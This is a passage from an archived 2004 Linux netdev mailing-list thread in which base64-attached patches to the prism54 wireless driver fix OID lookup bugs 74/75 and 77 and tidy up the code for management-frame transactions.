IGtlcm5lbCB2ZXJzaW9ucworICovCisKKyNpZmRlZiBQUklTTTU0X0NPTVBBVDI0CisjaW5jbHVk ZSAicHJpc21jb21wYXQyNC5oIgorI2Vsc2UJLyogUFJJU001NF9DT01QQVQyNCAqLworCisjaWZu ZGVmIF9QUklTTV9DT01QQVRfSAorI2RlZmluZSBfUFJJU01fQ09NUEFUX0gKKworI2luY2x1ZGUg PGxpbnV4L2RldmljZS5oPgorI2luY2x1ZGUgPGxpbnV4L2Zpcm13YXJlLmg+CisjaW5jbHVkZSA8 bGludXgvY29uZmlnLmg+CisjaW5jbHVkZSA8bGludXgvbW9kdWxlcGFyYW0uaD4KKyNpbmNsdWRl IDxsaW51eC93b3JrcXVldWUuaD4KKworI2lmICFkZWZpbmVkKENPTkZJR19GV19MT0FERVIpICYm ICFkZWZpbmVkKENPTkZJR19GV19MT0FERVJfTU9EVUxFKQorI2Vycm9yIEZpcm13YXJlIExvYWRp bmcgaXMgbm90IGNvbmZpZ3VyZWQgaW4gdGhlIGtlcm5lbCAhCisjZW5kaWYKKworI2RlZmluZSBw cmlzbTU0X3N5bmNocm9uaXplX2lycShpcnEpIHN5bmNocm9uaXplX2lycShpcnEpCisKKyNkZWZp bmUgX1JFUV9GV19ERVZfVAkJc3RydWN0IGRldmljZSAqCisKKyNkZWZpbmUgUFJJU01fRldfUERF VgkJJnByaXYtPnBkZXYtPmRldgorCisjZW5kaWYJCQkJLyogX1BSSVNNX0NPTVBBVF9IICovCisj ZW5kaWYJCQkJLyogUFJJU001NF9DT01QQVQyNCAqLwo= --=====================_50426880==_-- From margitsw@t-online.de Sun May 30 13:08:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:09:00 -0700 (PDT) Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK8vgi001664 for ; Sun, 30 May 2004 13:08:58 -0700 Received: from fwd00.aul.t-online.de by mailout09.sul.t-online.com with smtp id 1BUWc4-0006cA-02; Sun, 30 May 2004 22:08:56 +0200 Received: from margit.t-online.de (Z4fie+Zdoe0YkT1uwpE6kjbDG-W5jE1Kodg-8lS+rniaMmwPo2-Hct@[80.128.220.231]) by fwd00.sul.t-online.com with esmtp id 1BUWby-0h91lo0; Sun, 30 May 2004 22:08:50 +0200 Message-Id: <5.1.0.14.2.20040530214358.00b0b560@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:53:59 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 8/17 linux-2.6.7-rc2] prism54: Fix bugs 74/75 Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50452827==_" X-Seen: false X-ID: Z4fie+Zdoe0YkT1uwpE6kjbDG-W5jE1Kodg-8lS+rniaMmwPo2-Hct X-archive-position: 5474 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50452827==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-03-22 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Minor bugfixes : #74 and #75. --=====================_50452827==_ Content-Type: application/octet-stream; name="08-fix-bug-74-75.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="08-fix-bug-74-75.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfaW9jdGwuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9pb2N0bC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX2lvY3RsLmMJMjAwNC0wNS0yOCAxNDo0MDoyNi45OTA0NTU2NTYgKzAyMDAKKysrIGxpbnV4 LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmMJMjAwNC0w NS0yOCAxNDo0MzowMC45MjYwNTM4ODggKzAyMDAKQEAgLTE4OTMsNiArMTg5Myw3IEBACiAJc3Ry dWN0IG5ldF9kZXZpY2UgKm5kZXYgPSBmcmFtZS0+bmRldjsKIAllbnVtIG9pZF9udW1fdCBuID0g bWd0X29pZHRvbnVtKGZyYW1lLT5oZWFkZXItPm9pZCk7CiAKKwlpZiAobiAhPSBPSURfTlVNX0xB U1QpCiAJcHJpc201NF9wcm9jZXNzX3RyYXBfaGVscGVyKG5ldGRldl9wcml2KG5kZXYpLCBuLCBm cmFtZS0+ZGF0YSk7CiAJaXNscGNpX21ndF9yZWxlYXNlKGZyYW1lKTsKIH0KZGlmZiAtTmF1ckVi IGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMgbGlu dXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMKLS0tIGxp bnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0LmMJMjAwNC0w NS0yOCAxNDo0MDoyNy4wMDE0NTM5ODQgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMv bmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5jCTIwMDQtMDUtMjggMTQ6NDM6MDAuOTI5MDUz NDMyICswMjAwCkBAIC02ODgsMTMgKzY4OCwxMyBAQAogewogCWludCBpOwogCi0JZm9yIChpID0g MDsgaSA8IE9JRF9OVU1fTEFTVCAtIDE7IGkrKykKKwlmb3IgKGkgPSAwOyBpIDwgT0lEX05VTV9M QVNUOyBpKyspCiAJCWlmIChpc2xfb2lkW2ldLm9pZCA9PSBvaWQpCiAJCQlyZXR1cm4gaTsKIAog CXByaW50ayhLRVJOX0RFQlVHICJsb29raW5nIGZvciBhbiB1bmtub3duIG9pZCAweCV4Iiwgb2lk KTsKIAotCXJldHVybiAwOworCXJldHVybiBPSURfTlVNX0xBU1Q7CiB9CiAKIGludAo= --=====================_50452827==_-- From margitsw@t-online.de Sun May 30 13:09:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:09:29 -0700 (PDT) Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UK9Pgi001946 for ; Sun, 30 May 2004 13:09:26 -0700 Received: from fwd04.aul.t-online.de by mailout06.sul.t-online.com with smtp id 1BUWcX-00064K-01; Sun, 30 May 2004 22:09:25 +0200 Received: from margit.t-online.de (GoV6BgZpweZGPswJDn9ixVSNqoS7H-VEPvc6ITbMg41VK+JXljeHUj@[80.128.220.231]) by fwd04.sul.t-online.com with esmtp id 1BUWcM-1qffV20; Sun, 30 May 2004 22:09:14 +0200 Message-Id: <5.1.0.14.2.20040530214656.00b168a0@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:57:03 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 10/17 linux-2.6.7-rc2] prism54: Fix bug 77, strengthened oid txn Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50475319==_" X-Seen: false X-ID: GoV6BgZpweZGPswJDn9ixVSNqoS7H-VEPvc6ITbMg41VK+JXljeHUj X-archive-position: 5475 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50475319==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-04-09 Aurelien Alleaume * oid_mgt.c, isl_ioctl.c : Cleanups. Bug #77. Minor stuffs. * islpci_mgt.c (islpci_mgt_transaction) : enforce serialization in oid transaction. lindent.sh. * islpci_mgt.c (islpci_mgt_transaction) : Strengthened oid transaction. --=====================_50475319==_ Content-Type: application/octet-stream; name="10-fix-bug-77-enforce-serialization.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="10-fix-bug-77-enforce-serialization.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfaW9jdGwuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9pb2N0bC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX2lvY3RsLmMJMjAwNC0wNS0yOCAxNDo0NDoyNC44ODYyODk5OTIgKzAyMDAKKysrIGxpbnV4 LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmMJMjAwNC0w NS0yOCAxNTowODowMC42ODEwNTY0NzIgKzAyMDAKQEAgLTIwNCw3ICsyMDQsNyBAQAogCiAvKiBO b2lzZSBmbG9vci4KICAqIEknbSBub3Qgc3VyZSBpZiB0aGUgdW5pdCBpcyBkQm0uCi0gKiBOb3Rl IDogSWYgd2UgYXJlIG5vdCBjb25uZWN0ZWQsIHRoaXMgdmFsdWUgc2VlbXMgdG8gYmUgaXJyZXZl bGFudC4gKi8KKyAqIE5vdGUgOiBJZiB3ZSBhcmUgbm90IGNvbm5lY3RlZCwgdGhpcyB2YWx1ZSBz ZWVtcyB0byBiZSBpcnJlbGV2YW50LiAqLwogCiAJbWd0X2dldF9yZXF1ZXN0KHByaXYsIERPVDEx X09JRF9OT0lTRUZMT09SLCAwLCBOVUxMLCAmcik7CiAJcHJpdi0+bG9jYWxfaXdzdGF0aXN0aWNz LnF1YWwubm9pc2UgPSByLnU7CkBAIC0yMTYsOCArMjE2LDcgQEAKIAlkYXRhID0gci5wdHI7CiAK IAkvKiBjb3B5IHRoaXMgTUFDIHRvIHRoZSBic3MgKi8KLQlmb3IgKGogPSAwOyBqIDwgNjsgaisr KQotCQlic3MuYWRkcmVzc1tqXSA9IGRhdGFbal07CisJbWVtY3B5KGJzcy5hZGRyZXNzLCBkYXRh LCA2KTsKIAlrZnJlZShkYXRhKTsKIAogCS8qIG5vdyBhc2sgZm9yIHRoZSBjb3JyZXNwb25kaW5n IGJzcyAqLwpAQCAtNTA1LDcgKzUwNCw3IEBACiAJCXJldHVybiAwOwogCiAJLyogUmVxdWVzdCB0 aGUgZGV2aWNlIGZvciB0aGUgc3VwcG9ydGVkIGZyZXF1ZW5jaWVzCi0JICogbm90IHJlYWxseSBy ZXZlbGFudCBzaW5jZSBzb21lIGRldmljZXMgd2lsbCByZXBvcnQgdGhlIDUgR0h6IGJhbmQKKwkg KiBub3QgcmVhbGx5IHJlbGV2YW50IHNpbmNlIHNvbWUgZGV2aWNlcyB3aWxsIHJlcG9ydCB0aGUg NSBHSHogYmFuZAogCSAqIGZyZXF1ZW5jaWVzIGV2ZW4gaWYgdGhleSBkb24ndCBzdXBwb3J0IHRo ZW0uCiAJICovCiAJcnZhbHVlID0KQEAgLTUxNSwyMSArNTE0LDEyIEBACiAJcmFuZ2UtPm51bV9j aGFubmVscyA9IGZyZXEtPm5yOwogCXJhbmdlLT5udW1fZnJlcXVlbmN5ID0gZnJlcS0+bnI7CiAK LQkvKiBGcmVxdWVuY2llcyBhcmUgbm90IGxpc3RlZCBpbiB0aGUgcmlnaHQgb3JkZXIuIFRoZSBy ZW9yZGVyaW5nIGlzIHByb2JhYmx5Ci0JICogZmlybXdhcmUgZGVwZW5kYW50IGFuZCB0aHVzIHNo b3VsZCB3b3JrIGZvciBldmVyeW9uZS4KLQkgKi8KIAltID0gbWluKElXX01BWF9GUkVRVUVOQ0lF UywgKGludCkgZnJlcS0+bnIpOwotCWZvciAoaSA9IDA7IGkgPCBtIC0gMTI7IGkrKykgewotCQly YW5nZS0+ZnJlcVtpXS5tID0gZnJlcS0+bWh6WzEyICsgaV07Ci0JCXJhbmdlLT5mcmVxW2ldLmUg PSA2OwotCQlyYW5nZS0+ZnJlcVtpXS5pID0gaSArIDE7Ci0JfQotCWZvciAoaSA9IG0gLSAxMjsg aSA8IG07IGkrKykgewotCQlyYW5nZS0+ZnJlcVtpXS5tID0gZnJlcS0+bWh6W2kgLSBtICsgMTJd OworCWZvciAoaSA9IDA7IGkgPCBtOyBpKyspIHsKKwkJcmFuZ2UtPmZyZXFbaV0ubSA9IGZyZXEt Pm1oeltpXTsKIAkJcmFuZ2UtPmZyZXFbaV0uZSA9IDY7Ci0JCXJhbmdlLT5mcmVxW2ldLmkgPSBp ICsgMjM7CisJCXJhbmdlLT5mcmVxW2ldLmkgPSBjaGFubmVsX29mX2ZyZXEoZnJlcS0+bWh6W2ld KTsKIAl9Ci0KIAlrZnJlZShmcmVxKTsKIAogCXJ2YWx1ZSB8PSBtZ3RfZ2V0X3JlcXVlc3QocHJp diwgRE9UMTFfT0lEX1NVUFBPUlRFRFJBVEVTLCAwLCBOVUxMLCAmcik7CkBAIC0xOTY3LDYwICsx OTU3LDYgQEAKIH0KIAogaW50Ci1wcmlzbTU0X3NldF9tYXhmcmFtZWJ1cnN0KHN0cnVjdCBuZXRf ZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaXdfcmVxdWVzdF9pbmZvICppbmZvLAotCQkJICBfX3UzMiAq IHV3cnEsIGNoYXIgKmV4dHJhKQotewotCWlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3By aXYobmRldik7Ci0JdTMyIG1heF9idXJzdDsKLQotCW1heF9idXJzdCA9ICgqdXdycSkgPyAqdXdy cSA6IENBUkRfREVGQVVMVF9NQVhGUkFNRUJVUlNUOwotCW1ndF9zZXRfcmVxdWVzdChwcml2LCBE T1QxMV9PSURfTUFYRlJBTUVCVVJTVCwgMCwgJm1heF9idXJzdCk7Ci0KLQlyZXR1cm4gLUVJTlBS T0dSRVNTOyAvKiBDYWxsIGNvbW1pdCBoYW5kbGVyICovCi19Ci0KLWludAotcHJpc201NF9nZXRf bWF4ZnJhbWVidXJzdChzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3Rf aW5mbyAqaW5mbywKLQkJCSAgX191MzIgKiB1d3JxLCBjaGFyICpleHRyYSkKLXsKLQlpc2xwY2lf cHJpdmF0ZSAqcHJpdiA9IG5ldGRldl9wcml2KG5kZXYpOwotCXVuaW9uIG9pZF9yZXNfdCByOwot CWludCBydmFsdWU7Ci0JCi0JcnZhbHVlID0gbWd0X2dldF9yZXF1ZXN0KHByaXYsIERPVDExX09J RF9NQVhGUkFNRUJVUlNULCAwLCBOVUxMLCAmcik7Ci0JKnV3cnEgPSByLnU7Ci0JCi0JcmV0dXJu IHJ2YWx1ZTsKLX0KLQotaW50Ci1wcmlzbTU0X3NldF9wcm9maWxlKHN0cnVjdCBuZXRfZGV2aWNl ICpuZGV2LCBzdHJ1Y3QgaXdfcmVxdWVzdF9pbmZvICppbmZvLAotCQkgICAgX191MzIgKiB1d3Jx LCBjaGFyICpleHRyYSkKLXsKLQlpc2xwY2lfcHJpdmF0ZSAqcHJpdiA9IG5ldGRldl9wcml2KG5k ZXYpOwotCXUzMiBwcm9maWxlOwotCi0JcHJvZmlsZSA9ICgqdXdycSkgPyAqdXdycSA6IENBUkRf REVGQVVMVF9QUk9GSUxFOwotCW1ndF9zZXRfcmVxdWVzdChwcml2LCBET1QxMV9PSURfUFJPRklM RVMsIDAsICZwcm9maWxlKTsKLQkKLQlyZXR1cm4gLUVJTlBST0dSRVNTOyAvKiBDYWxsIGNvbW1p dCBoYW5kbGVyICovCi19Ci0KLWludAotcHJpc201NF9nZXRfcHJvZmlsZShzdHJ1Y3QgbmV0X2Rl dmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKLQkJICAgIF9fdTMyICog dXdycSwgY2hhciAqZXh0cmEpCi17Ci0JaXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJp dihuZGV2KTsKLQl1bmlvbiBvaWRfcmVzX3QgcjsKLQlpbnQgcnZhbHVlOwotCi0JcnZhbHVlID0g bWd0X2dldF9yZXF1ZXN0KHByaXYsIERPVDExX09JRF9QUk9GSUxFUywgMCwgTlVMTCwgJnIpOwot CSp1d3JxID0gci51OwotCi0JcmV0dXJuIHJ2YWx1ZTsKLX0KLQotaW50CiBwcmlzbTU0X2RlYnVn X29pZChzdHJ1Y3QgbmV0X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5m bywKIAkJICBfX3UzMiAqIHV3cnEsIGNoYXIgKmV4dHJhKQogewpAQCAtMjA5OSw3ICsyMDM1LDcg QEAKIAkJfQogCX0KIAkKLQlyZXR1cm4gcmV0OworCXJldHVybiAocmV0ID8gcmV0IDogLUVJTlBS T0dSRVNTKTsKIH0KIAogc3RhdGljIGludApAQCAtMjIwNSwxNiArMjE0MSwxNiBAQAogI2RlZmlu ZSBQUklTTTU0X0dFVF9QUklTTUhEUglTSU9DSVdGSVJTVFBSSVYrMjMKICNkZWZpbmUgUFJJU001 NF9TRVRfUFJJU01IRFIJU0lPQ0lXRklSU1RQUklWKzI0CiAKLSNkZWZpbmUgSVdQUklWX1NFVF9V MzIobix4KQl7IG4sIElXX1BSSVZfVFlQRV9JTlQgfCBJV19QUklWX1NJWkVfRklYRUQgfCAxLCAw LCAic2V0XyJ4IH0KLSNkZWZpbmUgSVdQUklWX1NFVF9TU0lEKG4seCkJeyBuLCBJV19QUklWX1RZ UEVfQ0hBUiB8IElXX1BSSVZfU0laRV9GSVhFRCB8IDEsIDAsICJzZXRfInggfQotI2RlZmluZSBJ V1BSSVZfU0VUX0FERFIobix4KQl7IG4sIElXX1BSSVZfVFlQRV9BRERSIHwgSVdfUFJJVl9TSVpF X0ZJWEVEIHwgMSwgMCwgInNldF8ieCB9Ci0jZGVmaW5lIElXUFJJVl9HRVQobix4KQl7IG4sIDAs IElXX1BSSVZfVFlQRV9DSEFSIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgUFJJVl9TVFJfU0laRSwg ImdldF8ieCB9CisjZGVmaW5lIElXUFJJVl9TRVRfVTMyKG4seCkJeyBuLCBJV19QUklWX1RZUEVf SU5UIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgMSwgMCwgInNfInggfQorI2RlZmluZSBJV1BSSVZf U0VUX1NTSUQobix4KQl7IG4sIElXX1BSSVZfVFlQRV9DSEFSIHwgSVdfUFJJVl9TSVpFX0ZJWEVE IHwgMSwgMCwgInNfInggfQorI2RlZmluZSBJV1BSSVZfU0VUX0FERFIobix4KQl7IG4sIElXX1BS SVZfVFlQRV9BRERSIHwgSVdfUFJJVl9TSVpFX0ZJWEVEIHwgMSwgMCwgInNfInggfQorI2RlZmlu ZSBJV1BSSVZfR0VUKG4seCkJeyBuLCAwLCBJV19QUklWX1RZUEVfQ0hBUiB8IElXX1BSSVZfU0la RV9GSVhFRCB8IFBSSVZfU1RSX1NJWkUsICJnXyJ4IH0KIAogI2RlZmluZSBJV1BSSVZfVTMyKG4s eCkJCUlXUFJJVl9TRVRfVTMyKG4seCksIElXUFJJVl9HRVQobix4KQogI2RlZmluZSBJV1BSSVZf U1NJRChuLHgpCUlXUFJJVl9TRVRfU1NJRChuLHgpLCBJV1BSSVZfR0VUKG4seCkKICNkZWZpbmUg SVdQUklWX0FERFIobix4KQlJV1BSSVZfU0VUX0FERFIobix4KSwgSVdQUklWX0dFVChuLHgpCiAK LS8qIE5vdGUgOiBsaW1pdGVkIHRvIDEyOCBwcml2YXRlIGlvY3RscyAqLworLyogTm90ZSA6IGxp bWl0ZWQgdG8gMTI4IHByaXZhdGUgaW9jdGxzICh3aXJlbGVzcyB0b29scyAyNikgKi8KIAogc3Rh dGljIGNvbnN0IHN0cnVjdCBpd19wcml2X2FyZ3MgcHJpc201NF9wcml2YXRlX2FyZ3NbXSA9IHsK IC8qeyBjbWQsIHNldF9hcmdzLCBnZXRfYXJncywgbmFtZSB9ICovCkBAIC0yMzUyLDUgKzIyODgs NiBAQAogaW50CiBwcmlzbTU0X2lvY3RsKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3Qg aWZyZXEgKnJxLCBpbnQgY21kKQogeworCiAJcmV0dXJuIC1FT1BOT1RTVVBQOwogfQpkaWZmIC1O YXVyRWIgbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9t Z3QuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9t Z3QuYwotLS0gbGludXgtMi42LjZjdC9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBj aV9tZ3QuYwkyMDA0LTA1LTI4IDE0OjQwOjI2Ljk5ODQ1NDQ0MCArMDIwMAorKysgbGludXgtMi42 LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfbWd0LmMJMjAwNC0wNS0y OCAxNTowODowMC42ODYwNTU3MTIgKzAyMDAKQEAgLTYzLDcgKzYzLDYgQEAKICAgICBRdWV1ZSBo YW5kbGluZyBmb3IgbWFuYWdlbWVudCBmcmFtZXMKICoqKioqKioqKioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KIAot ICAKIC8qCiAgKiBIZWxwZXIgZnVuY3Rpb24gdG8gY3JlYXRlIGEgUElNRk9SIG1hbmFnZW1lbnQg ZnJhbWUgaGVhZGVyLgogICovCkBAIC04Nyw3ICs4Niw3IEBACiAJcGltZm9yX2hlYWRlcl90ICpo ID0gZGF0YTsKIAogICAgICAgICB3aGlsZSAoKHZvaWQgKikgaCA8IGRhdGEgKyBsZW4pIHsKLQkJ aWYoaC0+ZmxhZ3MgJiBQSU1GT1JfRkxBR19MSVRUTEVfRU5ESUFOKSB7CisJCWlmIChoLT5mbGFn cyAmIFBJTUZPUl9GTEFHX0xJVFRMRV9FTkRJQU4pIHsKIAkJCWxlMzJfdG9fY3B1cygmaC0+b2lk KTsKIAkJCWxlMzJfdG9fY3B1cygmaC0+bGVuZ3RoKTsKIAkJfSBlbHNlIHsKQEAgLTEyNCw3ICsx MjMsOCBAQAogCQlpZiAoYnVmLT5tZW0gPT0gTlVMTCkgewogCQkJYnVmLT5tZW0gPSBrbWFsbG9j KE1HTVRfRlJBTUVfU0laRSwgR0ZQX0FUT01JQyk7CiAJCQlpZiAoIWJ1Zi0+bWVtKSB7Ci0JCQkJ cHJpbnRrKEtFUk5fV0FSTklORyAiRXJyb3IgYWxsb2NhdGluZyBtYW5hZ2VtZW50IGZyYW1lLlxu Iik7CisJCQkJcHJpbnRrKEtFUk5fV0FSTklORworCQkJCSAgICAgICAiRXJyb3IgYWxsb2NhdGlu ZyBtYW5hZ2VtZW50IGZyYW1lLlxuIik7CiAJCQkJcmV0dXJuIC1FTk9NRU07CiAJCQl9CiAJCQli dWYtPnNpemUgPSBNR01UX0ZSQU1FX1NJWkU7CkBAIC0xMzMsOCArMTMzLDkgQEAKIAkJCWJ1Zi0+ cGNpX2FkZHIgPSBwY2lfbWFwX3NpbmdsZShwcml2LT5wZGV2LCBidWYtPm1lbSwKIAkJCQkJCSAg ICAgICBNR01UX0ZSQU1FX1NJWkUsCiAJCQkJCQkgICAgICAgUENJX0RNQV9GUk9NREVWSUNFKTsK LQkJCWlmKCFidWYtPnBjaV9hZGRyKSB7Ci0JCQkJcHJpbnRrKEtFUk5fV0FSTklORyAiRmFpbGVk IHRvIG1ha2UgbWVtb3J5IERNQSdhYmxlXG4uIik7CisJCQlpZiAoIWJ1Zi0+cGNpX2FkZHIpIHsK KwkJCQlwcmludGsoS0VSTl9XQVJOSU5HCisJCQkJICAgICAgICJGYWlsZWQgdG8gbWFrZSBtZW1v cnkgRE1BJ2FibGVcbi4iKTsKIAkJCQlyZXR1cm4gLUVOT01FTTsKIAkJCX0KIAkJfQpAQCAtMTQ5 LDggKzE1MCw3IEBACiAgICAgICAgICAgICAgICAgICogYmVlbiB3cml0dGVuIGJlZm9yZSBhbm5v dW5jaW5nIHRoZSBmcmFtZSBidWZmZXIgdG8KICAgICAgICAgICAgICAgICAgKiBkZXZpY2UgKi8K IAkJd21iKCk7Ci0JCWNiLT5kcml2ZXJfY3Vycl9mcmFnW0lTTDM4WFhfQ0JfUlhfTUdNVFFdID0K LQkJCWNwdV90b19sZTMyKGN1cnIpOworCQljYi0+ZHJpdmVyX2N1cnJfZnJhZ1tJU0wzOFhYX0NC X1JYX01HTVRRXSA9IGNwdV90b19sZTMyKGN1cnIpOwogCX0KIAlyZXR1cm4gMDsKIH0KQEAgLTI0 OSw3ICsyNDksNyBAQAogCSAqIGJlZW4gd3JpdHRlbiBiZWZvcmUgYW5ub3VuY2luZyB0aGUgZnJh bWUgYnVmZmVyIHRvCiAJICogZGV2aWNlICovCiAJd21iKCk7Ci0JY2ItPmRyaXZlcl9jdXJyX2Zy YWdbSVNMMzhYWF9DQl9UWF9NR01UUV0gPSBjcHVfdG9fbGUzMihjdXJyX2ZyYWcrMSk7CisJY2It PmRyaXZlcl9jdXJyX2ZyYWdbSVNMMzhYWF9DQl9UWF9NR01UUV0gPSBjcHVfdG9fbGUzMihjdXJy X2ZyYWcgKyAxKTsKIAlzcGluX3VubG9ja19pcnFyZXN0b3JlKCZwcml2LT5zbG9jaywgZmxhZ3Mp OwogCiAJLyogdHJpZ2dlciB0aGUgZGV2aWNlICovCkBAIC0yODEsMTQgKzI4MSwxMyBAQAogCURF QlVHKFNIT1dfRlVOQ1RJT05fQ0FMTFMsICJpc2xwY2lfbWd0X3JlY2VpdmUgXG4iKTsKICNlbmRp ZgogCi0KICAgICAgICAgLyogT25seSBvbmNlIHBlciBpbnRlcnJ1cHQsIGRldGVybWluZSBmcmFn bWVudCByYW5nZSB0bwogICAgICAgICAgKiBwcm9jZXNzLiAgVGhpcyBhdm9pZHMgYW4gZW5kbGVz cyBsb29wIChpLmUuIGxvY2t1cCkgaWYKICAgICAgICAgICogZnJhbWVzIGNvbWUgaW4gZmFzdGVy IHRoYW4gd2UgY2FuIHByb2Nlc3MgdGhlbS4gKi8KIAljdXJyX2ZyYWcgPSBsZTMyX3RvX2NwdShj Yi0+ZGV2aWNlX2N1cnJfZnJhZ1tJU0wzOFhYX0NCX1JYX01HTVRRXSk7CiAJYmFycmllcigpOwog Ci0JZm9yICggOyBwcml2LT5pbmRleF9tZ210X3J4IDwgY3Vycl9mcmFnOyBwcml2LT5pbmRleF9t Z210X3J4KyspIHsKKwlmb3IgKDsgcHJpdi0+aW5kZXhfbWdtdF9yeCA8IGN1cnJfZnJhZzsgcHJp di0+aW5kZXhfbWdtdF9yeCsrKSB7CiAJCXBpbWZvcl9oZWFkZXJfdCAqaGVhZGVyOwogCQl1MzIg aW5kZXggPSBwcml2LT5pbmRleF9tZ210X3J4ICUgSVNMMzhYWF9DQl9NR01UX1FTSVpFOwogCQlz dHJ1Y3QgaXNscGNpX21lbWJ1ZiAqYnVmID0gJnByaXYtPm1nbXRfcnhbaW5kZXhdOwpAQCAtMjk4 LDcgKzI5Nyw3IEBACiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgIC8qIEkgaGF2ZSBu byBpZGVhIChhbmQgbm8gZG9jdW1lbnRhdGlvbikgaWYgZmxhZ3MgIT0gMAogICAgICAgICAgICAg ICAgICAqIGlzIHBvc3NpYmxlLiAgRHJvcCB0aGUgZnJhbWUsIHJldXNlIHRoZSBidWZmZXIuICov Ci0gICAgICAgICAgICAgICAgaWYobGUxNl90b19jcHUoY2ItPnJ4X2RhdGFfbWdtdFtpbmRleF0u ZmxhZ3MpICE9IDApIHsKKwkJaWYgKGxlMTZfdG9fY3B1KGNiLT5yeF9kYXRhX21nbXRbaW5kZXhd LmZsYWdzKSAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGsoS0VSTl9XQVJO SU5HICIlczogdW5rbm93biBmbGFncyAweCUwNHhcbiIsCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgbmRldi0+bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZTE2 X3RvX2NwdShjYi0+cnhfZGF0YV9tZ210W2luZGV4XS5mbGFncykpOwpAQCAtMzE0LDggKzMxMyw3 IEBACiAgICAgICAgICAgICAgICAgICogdHJpZ2dlcnMsIHdlIGxpa2VseSBoYXZlIGtlcm5lbCBo ZWFwIGNvcnJ1cHRpb24uICovCiAgICAgICAgICAgICAgICAgaWYgKGZyYWdfbGVuID4gTUdNVF9G UkFNRV9TSVpFKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGsoS0VSTl9XQVJOSU5H ICIlczogQm9ndXMgcGFja2V0IHNpemUgb2YgJWQgKCUjeCkuXAotbiIsCi0gICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgbmRldi0+bmFtZSwgZnJhZ19sZW4sIGZyYWdfbGVuKTsKK24iLCBu 